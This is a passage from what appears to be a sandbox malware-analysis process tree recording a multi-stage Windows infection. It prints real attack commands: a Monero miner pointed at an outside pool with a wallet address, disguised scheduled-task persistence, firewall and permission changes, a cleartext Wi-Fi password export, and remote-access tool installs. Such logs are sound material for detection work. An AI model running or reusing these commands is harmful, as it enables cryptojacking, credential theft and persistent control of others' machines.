- Modifies Windows Firewall
-
-
C:\Windows\SYSTEM32\netsh.exenetsh firewall add allowedprogram "C:\Windows\system32\PPTVLauncher.exe" PPTVLauncher Enable5⤵
- Modifies Windows Firewall
-
-
C:\Windows\SysWOW64\netsh.exenetsh firewall add allowedprogram "C:\Program Files (x86)\Common Files\PPLiveNetwork\PPAP.exe" PPLive Enable5⤵
- Modifies Windows Firewall
-
-
-
C:\Program Files (x86)\Common Files\PPLiveNetwork\PPAP.exe"C:\Program Files (x86)\Common Files\PPLiveNetwork\PPAP.exe" /RegServer4⤵
-
-
C:\Program Files (x86)\PPLive\PPTV\3.1.5.0065\hwcheck.exe"C:\Program Files (x86)\PPLive\PPTV\3.1.5.0065\hwcheck.exe" -s -luminanceonly "C:\Users\Admin\AppData\Local\Temp\hwcheck.mp4"4⤵
-
C:\Program Files (x86)\Common Files\PPLiveNetwork\PPAP.exe"C:\Program Files (x86)\Common Files\PPLiveNetwork\PPAP.exe" /LoadModule MngModule.dll /T 2 /A http://h.synacast.com/1.html?sa2foJynraDkn6zIptXPmdubo6DRma+Ls62i5ajhqaKcmfKX7KHoovLhlrSptt/I4t/f2NzZkLLN3N/IkLTV3ObR0emMqtrG4OTR2/KWoJ6cl6eeoKSdl66bqOySrrOWoZ6ciZyrraGij72ioOicmaaVoKCcmZytraA=5⤵
-
-
-
C:\Program Files (x86)\PPLive\PPTV\3.1.5.0065\RepairSetup.exe"C:\Program Files (x86)\PPLive\PPTV\3.1.5.0065\RepairSetup.exe" -codec4⤵
-
-
C:\Program Files (x86)\Common Files\PPLiveNetwork\PPAP.exe"C:\Program Files (x86)\Common Files\PPLiveNetwork\PPAP.exe" /LoadModule MngModule.dll /T 1 /C forqd1084 /F 0 /G 3.1.5 /H 1 /I /L 0 /M 0 /N 0 /O 1 /P4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\6.exe"C:\Users\Admin\AppData\Local\Temp\a\6.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\5.exe"C:\Users\Admin\AppData\Local\Temp\a\5.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\pardufrigi_installer_1.0.p1.exe"C:\Users\Admin\AppData\Local\Temp\a\pardufrigi_installer_1.0.p1.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\is-R889DX9AKH.tmp\pardufrigi_installer_1.0.p1.tmp"C:\Users\Admin\AppData\Local\Temp\is-R889DX9AKH.tmp\pardufrigi_installer_1.0.p1.tmp" /SL5="$2032A,4543643,893952,C:\Users\Admin\AppData\Local\Temp\a\pardufrigi_installer_1.0.p1.exe"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\rustdesk-1.2.3-2-x86_64.exe"C:\Users\Admin\AppData\Local\Temp\a\rustdesk-1.2.3-2-x86_64.exe"3⤵
-
C:\Windows\system32\taskkill.exe"taskkill" /F /IM RuntimeBroker_rustdesk.exe4⤵
- Kills process with taskkill
-
-
C:\Users\Admin\AppData\Local\rustdesk\rustdesk.exe"C:\Users\Admin\AppData\Local\rustdesk\.\rustdesk.exe"4⤵
-
C:\Windows\system32\icacls.exe"icacls" C:\ProgramData\RustDesk /grant *S-1-1-0:(OI)(CI)F /T5⤵
- Modifies file permissions
-
-
C:\Windows\system32\icacls.exe"icacls" C:\ProgramData\RustDesk\shared_memory_portable_service /grant *S-1-1-0:(OI)(CI)F /T5⤵
- Modifies file permissions
-
-
C:\Users\Admin\AppData\Local\rustdesk\rustdesk.exe"C:\Users\Admin\AppData\Local\rustdesk\rustdesk.exe" --portable-service5⤵
-
C:\Users\Admin\AppData\Local\rustdesk\rustdesk.exe"C:\Users\Admin\AppData\Local\rustdesk\rustdesk.exe" --run-as-system6⤵
-
-
-
C:\Users\Admin\AppData\Local\rustdesk\rustdesk.exe"C:\Users\Admin\AppData\Local\rustdesk\.\rustdesk.exe" --check-hwcodec-config5⤵
-
-
C:\Windows\system32\cmd.exe"cmd" /c "taskkill /F /IM RuntimeBroker_rustdesk.exe"5⤵
- Executes a command shell one-liner
-
C:\Windows\system32\taskkill.exetaskkill /F /IM RuntimeBroker_rustdesk.exe6⤵
- Kills process with taskkill
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\xmrget.exe"C:\Users\Admin\AppData\Local\Temp\a\xmrget.exe"3⤵
-
C:\Users\Admin\sysmgnrsv.exeC:\Users\Admin\sysmgnrsv.exe4⤵
-
-
C:\Users\Admin\sysfrodolv.exeC:\Users\Admin\sysfrodolv.exe4⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c C:\Users\Admin\sysmgnrsv.exe -o 178.16.54.109:6060 -u 83h9mBvy1LL2qW6c2HeWczYVJQsFDF7RfVqDnaiSfFBdDcxfyJfWhRnZqZkY5chb5b6tmKZ1PPhuQbNgXggCdwTrMYWN8hi -p x --cpu-priority=5 --threads=2 --max-cpu-usage=255⤵
- Executes a command shell one-liner
-
C:\Users\Admin\sysmgnrsv.exeC:\Users\Admin\sysmgnrsv.exe -o 178.16.54.109:6060 -u 83h9mBvy1LL2qW6c2HeWczYVJQsFDF7RfVqDnaiSfFBdDcxfyJfWhRnZqZkY5chb5b6tmKZ1PPhuQbNgXggCdwTrMYWN8hi -p x --cpu-priority=5 --threads=2 --max-cpu-usage=256⤵
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\twizt.exe"C:\Users\Admin\AppData\Local\Temp\a\twizt.exe"3⤵
-
C:\Windows\syscvnrhost.exeC:\Windows\syscvnrhost.exe4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\dajoke2.exe"C:\Users\Admin\AppData\Local\Temp\a\dajoke2.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\%E5%88%92%E5%AD%A6%E5%8F%B7V2--%E6%9E%81%E9%80%9F%E7%89%88.exe"C:\Users\Admin\AppData\Local\Temp\a\%E5%88%92%E5%AD%A6%E5%8F%B7V2--%E6%9E%81%E9%80%9F%E7%89%88.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\a\%E5%88%92%E5%AD%A6%E5%8F%B7V2--%E6%9E%81%E9%80%9F%E7%89%88.exeC:\Users\Admin\AppData\Local\Temp\a\%E5%88%92%E5%AD%A6%E5%8F%B7V2--%E6%9E%81%E9%80%9F%E7%89%88.exe4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\REF-CLI%20v1.0.3.exe"C:\Users\Admin\AppData\Local\Temp\a\REF-CLI%20v1.0.3.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\15%EC%8B%AC%ED%94%8C%EC%8A%A4%EC%BA%94.exe"C:\Users\Admin\AppData\Local\Temp\a\15%EC%8B%AC%ED%94%8C%EC%8A%A4%EC%BA%94.exe"3⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\11EE.tmp.exeC:\Users\Admin\AppData\Local\Temp\11EE.tmp.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
-
C:\ProgramData\cebeedbccbadcec.exe"C:\ProgramData\cebeedbccbadcec.exe"1⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\a\4.exe"C:\Users\Admin\AppData\Local\Temp\a\4.exe"1⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Roaming\winupdatetbq.exeC:\Users\Admin\AppData\Roaming\winupdatetbq.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\a\3.exeC:\Users\Admin\AppData\Local\Temp\a\3.exe1⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV11⤵
-
C:\Users\Admin\AppData\Local\Temp\sx0e5ad756.exe"C:\Users\Admin\AppData\Local\Temp\sx0e5ad756.exe"1⤵
- Executes dropped EXE
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
-
C:\Windows\system32\wbem\WmiApSrv.exeC:\Windows\system32\wbem\WmiApSrv.exe1⤵
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Enumerates connected drives
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 913BED61C01E9304D977133D05973E08 C2⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI5F33.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240869375 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments3⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\system32\srtasks.exeC:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:22⤵
-
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 6E44D4271A1320952C5593EEAD5B34AA2⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
-
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 0C9D402B605C487F56B0A5EDE19CC4CF C2⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 3AF7B7088871E2366ADC026E43552A95 U2⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 787408A6E42E93542A387B6860DF7F36 C2⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 9F30925C17C59102F194DE316736856C2⤵
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\SysWOW64\taskkill.exe" /im AdvancedWindowsManager* /f3⤵
- Kills process with taskkill
-
-
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 2938C97476F41EF6DD56BA064A91CA0A E Global\MSI00002⤵
-
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Checks SCSI registry key(s)
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"1⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV11⤵
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\Themes\90D7B00F\UsoClient34ed49.exeC:\Users\Admin\AppData\Local\Microsoft\Windows\Themes\90D7B00F\UsoClient34ed49.exe1⤵
- Executes dropped EXE
- Suspicious behavior: AddClipboardFormatListener
-
C:\Windows\system32\schtasks.exeschtasks /create /tn "ScheduledDefragmentation_1f05" /tr "C:\Users\Admin\AppData\Local\Microsoft\Windows\Themes\90D7B00F\UsoClient34ed49.exe" /sc minute /mo 1 /f2⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Users\Admin\AppData\Roaming\Network3F73\SmartScreenHost27dac.exeC:\Users\Admin\AppData\Roaming\Network3F73\SmartScreenHost27dac.exe1⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Roaming\Network3F73\SmartScreenHost27dac.exeC:\Users\Admin\AppData\Roaming\Network3F73\SmartScreenHost27dac.exe1⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\Themes\90D7B00F\UsoClient34ed49.exeC:\Users\Admin\AppData\Local\Microsoft\Windows\Themes\90D7B00F\UsoClient34ed49.exe1⤵
- Executes dropped EXE
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
-
C:\ProgramData\Microsoft\Windows Update Helper\msvc.exe"C:\ProgramData\Microsoft\Windows Update Helper\msvc.exe"1⤵
- Executes dropped EXE
-
C:\ProgramData\Microsoft\Windows Update Helper\msvc.exe"C:\ProgramData\Microsoft\Windows Update Helper\msvc.exe"1⤵
- Executes dropped EXE
- Checks processor information in registry
- Modifies data under HKEY_USERS
-
C:\Windows\System32\Wbem\wmic.exe"wmic" os get TotalVisibleMemorySize /value2⤵
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic" os get FreePhysicalMemory /value2⤵
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic" path win32_VideoController get Name,AdapterRAM,DriverVersion /value2⤵
- Detects videocard installed
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic" os get TotalVisibleMemorySize /value2⤵
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic" os get FreePhysicalMemory /value2⤵
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic" path win32_VideoController get Name,AdapterRAM,DriverVersion /value2⤵
- Detects videocard installed
-
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
-
C:\Windows\system32\wscript.exewscript.exe1⤵
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Services\wlrmdr.exeC:\Users\Admin\AppData\Roaming\Microsoft\Windows\Services\wlrmdr.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\WinSysKdrv.exe"C:\Users\Admin\AppData\Local\Temp\WinSysKdrv.exe"1⤵
- Sets service image path in registry
- Suspicious behavior: LoadsDriver
-
C:\Users\Admin\AppData\Local\Temp\EmbeddedDriverService.sysC:\Users\Admin\AppData\Local\Temp\EmbeddedDriverService.sys1⤵
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"1⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"1⤵
-
C:\Users\Admin\AppData\Local\Temp\a\JavaChecker.exeC:\Users\Admin\AppData\Local\Temp\a\JavaChecker.exe1⤵
-
C:\Windows\SysWOW64\schtasks.exe"schtasks" /create /f /tn "JavaChecker_Admin" /tr "C:\Users\Admin\AppData\Local\Temp\a\JavaChecker.exe" /sc onlogon /rl highest2⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"2⤵
-
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV11⤵
-
C:\Users\Admin\AppData\Roaming\vortex.exe"C:\Users\Admin\AppData\Roaming\vortex.exe"1⤵
-
C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}1⤵
-
C:\Program Files (x86)\AW Manager\Windows Manager\Windows Updater.exe"C:\Program Files (x86)\AW Manager\Windows Manager\Windows Updater.exe"1⤵
-
C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe"C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe"1⤵
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\Themes\90D7B00F\UsoClient34ed49.exeC:\Users\Admin\AppData\Local\Microsoft\Windows\Themes\90D7B00F\UsoClient34ed49.exe1⤵
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"1⤵
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"1⤵
-
C:\Program Files (x86)\CentraStage\CagService.exe"C:\Program Files (x86)\CentraStage\CagService.exe"1⤵
-
C:\Windows\system32\regsvr32.exe"C:\Windows\system32\regsvr32.exe" /s "C:\Program Files (x86)\CentraStage\scvncctrl.dll"2⤵
-
C:\Windows\SysWOW64\regsvr32.exe/s "C:\Program Files (x86)\CentraStage\scvncctrl.dll"3⤵
-
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"1⤵
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Program Files (x86)\CentraStage\Gui.exe"C:\Program Files (x86)\CentraStage\Gui.exe"1⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"1⤵
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Windows\SysWOW64\svchost.exeC:\Windows\SysWOW64\svchost.exe -k PPTVServiceGroup1⤵
-
C:\Windows\Media\mppr.exeC:\Windows\Media\mppr.exe1⤵
-
C:\Windows\system32\cmd.exe"cmd" /c schtasks /create /f /rl highest /tn "Launch Adobe CCXProcess" /tr "C:\Windows\Media\mppr.exe" /sc onlogon & exit2⤵
- Executes a command shell one-liner
-
C:\Windows\system32\schtasks.exeschtasks /create /f /rl highest /tn "Launch Adobe CCXProcess" /tr "C:\Windows\Media\mppr.exe" /sc onlogon3⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c schtasks /create /f /rl highest /tn "XCCProcess" /tr "C:\Windows\INF\usbhub\usbperfsym.exe" /sc onlogon & exit2⤵
- Executes a command shell one-liner
-
C:\Windows\system32\schtasks.exeschtasks /create /f /rl highest /tn "XCCProcess" /tr "C:\Windows\INF\usbhub\usbperfsym.exe" /sc onlogon3⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c sc query "System Diagnostics Host" & exit2⤵
- Executes a command shell one-liner
-
C:\Windows\system32\sc.exesc query "System Diagnostics Host"3⤵
- Launches sc.exe
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c netsh advfirewall firewall show rule name="XCCProcess" & exit2⤵
- Executes a command shell one-liner
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall show rule name="XCCProcess"3⤵
- Modifies Windows Firewall
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c schtasks /create /f /rl highest /tn "Launch Adobe CCXProcess" /tr "C:\Windows\Media\mppr.exe" /sc onlogon & exit2⤵
- Executes a command shell one-liner
-
C:\Windows\system32\schtasks.exeschtasks /create /f /rl highest /tn "Launch Adobe CCXProcess" /tr "C:\Windows\Media\mppr.exe" /sc onlogon3⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c schtasks /create /f /rl highest /tn "XCCProcess" /tr "C:\Windows\INF\usbhub\usbperfsym.exe" /sc onlogon & exit2⤵
- Executes a command shell one-liner
-
C:\Windows\system32\schtasks.exeschtasks /create /f /rl highest /tn "XCCProcess" /tr "C:\Windows\INF\usbhub\usbperfsym.exe" /sc onlogon3⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c sc query "System Diagnostics Host" & exit2⤵
- Executes a command shell one-liner
-
C:\Windows\system32\sc.exesc query "System Diagnostics Host"3⤵
- Launches sc.exe
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c netsh advfirewall firewall show rule name="XCCProcess" & exit2⤵
- Executes a command shell one-liner
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall show rule name="XCCProcess"3⤵
- Modifies Windows Firewall
-
-
-
C:\Windows\system32\netsh.exe"netsh" wlan export profile key=clear folder="C:\Users\Admin\AppData\Local\Temp\IntelixWifiExport_81ba49b26d794536a21cbd033784f73c"2⤵
-
-
C:\Windows\system32\netsh.exe"netsh" wlan show profiles2⤵
- System Network Configuration Discovery: Wi-Fi Discovery
-
-
C:\Windows\system32\cmd.exe"cmd" /c schtasks /create /f /rl highest /tn "Launch Adobe CCXProcess" /tr "C:\Windows\Media\mppr.exe" /sc onlogon & exit2⤵
- Executes a command shell one-liner
-
C:\Windows\system32\schtasks.exeschtasks /create /f /rl highest /tn "Launch Adobe CCXProcess" /tr "C:\Windows\Media\mppr.exe" /sc onlogon3⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c sc query "System Diagnostics Host" & exit2⤵
- Executes a command shell one-liner
-
C:\Windows\system32\sc.exesc query "System Diagnostics Host"3⤵
- Launches sc.exe
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c netsh advfirewall firewall show rule name="XCCProcess" & exit2⤵
- Executes a command shell one-liner
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall show rule name="XCCProcess"3⤵
- Modifies Windows Firewall
-
-
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k PPTVServiceGroup1⤵
-
C:\PROGRA~2\PPLive\PPTV\PPLive.exeC:\PROGRA~2\PPLive\PPTV\PPLive.exe1⤵
-
C:\PROGRA~2\PPLive\PPTV\3.1.5.0065\PPLiveU.exe"C:\PROGRA~2\PPLive\PPTV\3.1.5.0065\PPLiveU.exe" /LoadModule ProductUpdate.dll /B /P1 1 /P2 9000 /W1 1323242⤵
-
-
C:\Program Files (x86)\Common Files\PPLiveNetwork\PPAP.exe"C:\Program Files (x86)\Common Files\PPLiveNetwork\PPAP.exe" -background1⤵
-
C:\Program Files (x86)\Common Files\PPLiveNetwork\PPAP.exe"C:\Program Files (x86)\Common Files\PPLiveNetwork\PPAP.exe" -Embedding1⤵
-
C:\Program Files (x86)\PPLive\PPTV\PPLive.exe"C:\Program Files (x86)\PPLive\PPTV\PPLive.exe" /LoadModule "C:\Program Files (x86)\PPLive\PPTV\3.1.5.0065\components\IEBrowser.dll" -N "http://list.client.pplive.cn/v31/index/1.html"2⤵
-
-
C:\Windows\InputMethod\SHARED\RC_ConnectedAccount.exeC:\Windows\InputMethod\SHARED\RC_ConnectedAccount.exe1⤵
-
C:\Windows\system32\cmd.exe"cmd" /c schtasks /create /f /rl highest /tn "Launch Adobe CCXProcess" /tr "C:\Windows\Media\mppr.exe" /sc onlogon & exit2⤵
- Executes a command shell one-liner
-
C:\Windows\system32\schtasks.exeschtasks /create /f /rl highest /tn "Launch Adobe CCXProcess" /tr "C:\Windows\Media\mppr.exe" /sc onlogon3⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c schtasks /create /f /rl highest /tn "XCCProcess" /tr "C:\Windows\INF\usbhub\usbperfsym.exe" /sc onlogon & exit2⤵
- Executes a command shell one-liner
-
C:\Windows\system32\schtasks.exeschtasks /create /f /rl highest /tn "XCCProcess" /tr "C:\Windows\INF\usbhub\usbperfsym.exe" /sc onlogon3⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c sc query "System Diagnostics Host" & exit2⤵
- Executes a command shell one-liner
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
C:\Windows\system32\sc.exesc query "System Diagnostics Host"3⤵
- Launches sc.exe
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c netsh advfirewall firewall show rule name="XCCProcess" & exit2⤵
- Executes a command shell one-liner
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall show rule name="XCCProcess"3⤵
- Modifies Windows Firewall
-
-
-
C:\Windows\Media\mppr.exe"C:\Windows\Media\mppr.exe"2⤵
-
-
C:\Windows\SysWOW64\SystemDiagnosticsHost.exeC:\Windows\SysWOW64\SystemDiagnosticsHost.exe1⤵
-
C:\Windows\SysWOW64\cmd.exe"cmd" /c schtasks /create /f /sc minute /rl highest /mo 2 /tn "Microsoft\Windows\Windows Update Listner" /tr "C:\Windows\Media\mppr.exe" & exit2⤵
- Executes a command shell one-liner
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /sc minute /rl highest /mo 2 /tn "Microsoft\Windows\Windows Update Listner" /tr "C:\Windows\Media\mppr.exe"3⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\SysWOW64\cmd.exe"cmd" /c schtasks /create /f /sc minute /rl highest /mo 2 /tn "Microsoft\Windows\Windows Update Listner" /tr "C:\Windows\Media\mppr.exe" & exit2⤵
- Executes a command shell one-liner
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /sc minute /rl highest /mo 2 /tn "Microsoft\Windows\Windows Update Listner" /tr "C:\Windows\Media\mppr.exe"3⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\SysWOW64\cmd.exe"cmd" /c schtasks /create /f /sc minute /rl highest /mo 2 /tn "Microsoft\Windows\Windows Update Listner" /tr "C:\Windows\Media\mppr.exe" & exit2⤵
- Executes a command shell one-liner
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /sc minute /rl highest /mo 2 /tn "Microsoft\Windows\Windows Update Listner" /tr "C:\Windows\Media\mppr.exe"3⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\SysWOW64\cmd.exe"cmd" /c schtasks /create /f /sc minute /rl highest /mo 2 /tn "Microsoft\Windows\Windows Update Listner" /tr "C:\Windows\Media\mppr.exe" & exit2⤵
- Executes a command shell one-liner
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /sc minute /rl highest /mo 2 /tn "Microsoft\Windows\Windows Update Listner" /tr "C:\Windows\Media\mppr.exe"3⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\SysWOW64\cmd.exe"cmd" /c schtasks /create /f /sc minute /rl highest /mo 2 /tn "Microsoft\Windows\Windows Update Listner" /tr "C:\Windows\Media\mppr.exe" & exit2⤵
- Executes a command shell one-liner
-
-
C:\Windows\SysWOW64\cmd.exe"cmd" /c schtasks /create /f /sc minute /rl highest /mo 2 /tn "Microsoft\Windows\Windows Update Listner" /tr "C:\Windows\Media\mppr.exe" & exit2⤵
- Executes a command shell one-liner
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /sc minute /rl highest /mo 2 /tn "Microsoft\Windows\Windows Update Listner" /tr "C:\Windows\Media\mppr.exe"3⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\SysWOW64\cmd.exe"cmd" /c schtasks /create /f /sc minute /rl highest /mo 2 /tn "Microsoft\Windows\Windows Update Listner" /tr "C:\Windows\Media\mppr.exe" & exit2⤵
- Executes a command shell one-liner
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /sc minute /rl highest /mo 2 /tn "Microsoft\Windows\Windows Update Listner" /tr "C:\Windows\Media\mppr.exe"3⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\SysWOW64\cmd.exe"cmd" /c schtasks /create /f /sc minute /rl highest /mo 2 /tn "Microsoft\Windows\Windows Update Listner" /tr "C:\Windows\Media\mppr.exe" & exit2⤵
- Executes a command shell one-liner
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /sc minute /rl highest /mo 2 /tn "Microsoft\Windows\Windows Update Listner" /tr "C:\Windows\Media\mppr.exe"3⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\SysWOW64\cmd.exe"cmd" /c schtasks /create /f /sc minute /rl highest /mo 2 /tn "Microsoft\Windows\Windows Update Listner" /tr "C:\Windows\Media\mppr.exe" & exit2⤵
- Executes a command shell one-liner
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /sc minute /rl highest /mo 2 /tn "Microsoft\Windows\Windows Update Listner" /tr "C:\Windows\Media\mppr.exe"3⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\SysWOW64\cmd.exe"cmd" /c schtasks /create /f /sc minute /rl highest /mo 2 /tn "Microsoft\Windows\Windows Update Listner" /tr "C:\Windows\Media\mppr.exe" & exit2⤵
- Executes a command shell one-liner
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /sc minute /rl highest /mo 2 /tn "Microsoft\Windows\Windows Update Listner" /tr "C:\Windows\Media\mppr.exe"3⤵
